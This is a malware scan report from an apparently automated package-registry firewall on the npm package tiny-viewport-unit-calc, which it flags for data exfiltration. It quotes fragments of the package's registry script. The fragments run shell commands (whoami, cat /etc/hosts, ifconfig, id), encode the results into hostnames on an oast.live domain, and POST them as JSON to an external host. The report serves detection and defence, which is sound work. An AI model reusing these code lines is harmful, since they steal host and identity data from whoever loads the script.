registry / Data exfiltration / tiny-viewport-unit-calc
tiny-viewport-unit-calc
Tiny utility for viewport unit calculations
This report shows the evidence for tiny-viewport-unit-calc@1.0.0, the only known version.
AI Security Review
scanned 19d ago · by lpm-firewall-aiInspected source proves automatic host-data collection and external transmission when the registry script loads. The manifest provides a loading route, making this concrete data exfiltration rather than an inert payload carrier.
Static reason
One or more suspicious static signals were detected.
Trigger
Loading or evaluating thunderboltRegistry.js directly or through the registry manifest.
Impact
Exposure of user identity, host and kernel information, network interfaces, and /etc/hosts contents when the required runtime APIs are available.
Mechanism
An immediately invoked function executes shell commands, embeds selected output in request hostnames, and posts collected results as JSON.
Attack narrative
The package distributes a registry manifest pointing to a script that executes immediately upon loading. Where child_process is available, it gathers system information through shell commands and sends the results to an external host through hostname-encoded requests and an HTTP POST. This behavior has no consent gate and is unrelated to viewport calculations. The empty default entrypoint limits activation but does not neutralize the executable attack in the distributed registry asset.
AI rationale
Inspected source proves automatic host-data collection and external transmission when the registry script loads. The manifest provides a loading route, making this concrete data exfiltration rather than an inert payload carrier.
Evidence
package.jsonregistry-manifest.min.jsonthunderboltRegistry.js/etc/hosts
Network endpoints3
davdpb8lhot13kgmnhp0863x9g83mpswq.oast.livepoc12-data.davdpb8lhot13kgmnhp0863x9g83mpswq.oast.live/resultsstatic.parastorage.com/unpkg/tiny-viewport-unit-calc@1.0.0/thunderboltRegistry.js
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The published files include the registry script and a manifest mapping registry assets to its CDN URL.
- Loading thunderboltRegistry.js immediately contacts an external host without a consent gate.
- The script loads child_process and sends the output of whoami through an outbound hostname.
- It collects /etc/hosts, network interface information, and user identity through shell commands.
- Collected command results are sent as JSON in an HTTP POST to the external host.
Evidence against
- There are no installation lifecycle hooks or dependencies.
- The default index.js entrypoint exports an empty object; the attack requires loading the registry script.
- Command collection depends on child_process availability, and outbound requests depend on fetch.
Behavioral surface
ChildProcessNetworkShell
HighEntropyStrings
Source & flagged code
9 flagged · loading sourcethunderboltRegistry.jsView file
13var cp = null;
L14: try { cp = require("child_process"); } catch(e) {}
L15: if (cp && typeof cp.execSync === "function") {
High
Child Process
Package source references child process execution.
thunderboltRegistry.jsView on unpkg · L131ook
(function(){
try {
var h = "[redacted].oast.live";
fetch("https://poc12-alive." + h + "/ping").catch(function(){});
// check if we
High
Ai Review Evidence
Loading thunderboltRegistry.js immediately contacts an external host without a consent gate.
thunderboltRegistry.jsView on unpkg · L114try { cp = require("child_process"); } catch(e) {}
if (cp && typeof cp.execSync === "function") {
fetch("https://p
High
Ai Review Evidence
The script loads child_process and sends the output of whoami through an outbound hostname.
thunderboltRegistry.jsView on unpkg · L1421var w = cp.execSync("whoami",{encoding:"utf8",timeout:5000}).trim();
fetch("https://poc12-who-" + s(w) + "." + h + "/ping").catch(function(){});
} catch(e){}
try {
v
High
Ai Review Evidence
The script loads child_process and sends the output of whoami through an outbound hostname.
thunderboltRegistry.jsView on unpkg · L2143try { results.hosts = cp.execSync("cat /etc/hosts",{encoding:"utf8",timeout:5000}).trim(); } catch(e){}
try { results.ifconfig = cp.execSync("ifconfig 2>/dev/null || ip addr 2>/dev/null || echo none",{encoding:"utf8",timeout:8000}).trim(); } catch(e){}
try { results.id = cp.execSync("id",{encoding:"utf8",timeout:5000}).trim(); } cat
High
Ai Review Evidence
It collects /etc/hosts, network interface information, and user identity through shell commands.
thunderboltRegistry.jsView on unpkg · L4347fetch("https://poc12-data." + h + "/results", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify(results)
}).catch(function(){});
} catch(e){}
High
Ai Review Evidence
Collected command results are sent as JSON in an HTTP POST to the external host.
thunderboltRegistry.jsView on unpkg · L47thunderboltRegistry.js#virtual:normalized:round1View file
4var h = "[redacted].oast.live";
L5: fetch("https://poc12-alive." + h + "/ping").catch(function(){});
L6:
...
L13: var cp = null;
L14: try { cp = require("child_process"); } catch(e) {}
L15: if (cp && typeof child_process.execSync === "function") {
...
L49: headers: {"Content-Type": "application/json"},
L50: body: JSON.stringify(results)
L51: }).catch(function(){});
High
Command Output Exfiltration
Source combines command execution, command-output handling, and outbound requests; review data flow before blocking.
thunderboltRegistry.js#virtual:normalized:round1View on unpkg · L4package.jsonView file
5"main": "index.js",
"files": ["registry-manifest.min.json","thunderboltRegistry.js","index.js"],
"license": "MIT"
}
High
Ai Review Evidence
The published files include the registry script and a manifest mapping registry assets to its CDN URL.
package.jsonView on unpkg · L5registry-manifest.min.jsonView file
2"thunderboltRegistry.js": "https://static.parastorage.com/unpkg/tiny-viewport-unit-calc@1.0.0/thunderboltRegistry.js",
"siteAsset
High
Ai Review Evidence
The published files include the registry script and a manifest mapping registry assets to its CDN URL.
registry-manifest.min.jsonView on unpkg · L2Findings
10 High1 Medium1 Low
HighChild ProcessthunderboltRegistry.js
HighShell
HighCommand Output ExfiltrationthunderboltRegistry.js#virtual:normalized:round1
HighAi Review Evidencepackage.json
HighAi Review Evidenceregistry-manifest.min.json
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
HighAi Review EvidencethunderboltRegistry.js
MediumNetwork
LowHigh Entropy Strings
Affected versions and remediation
This report applies to tiny-viewport-unit-calc@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing tiny-viewport-unit-calc@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.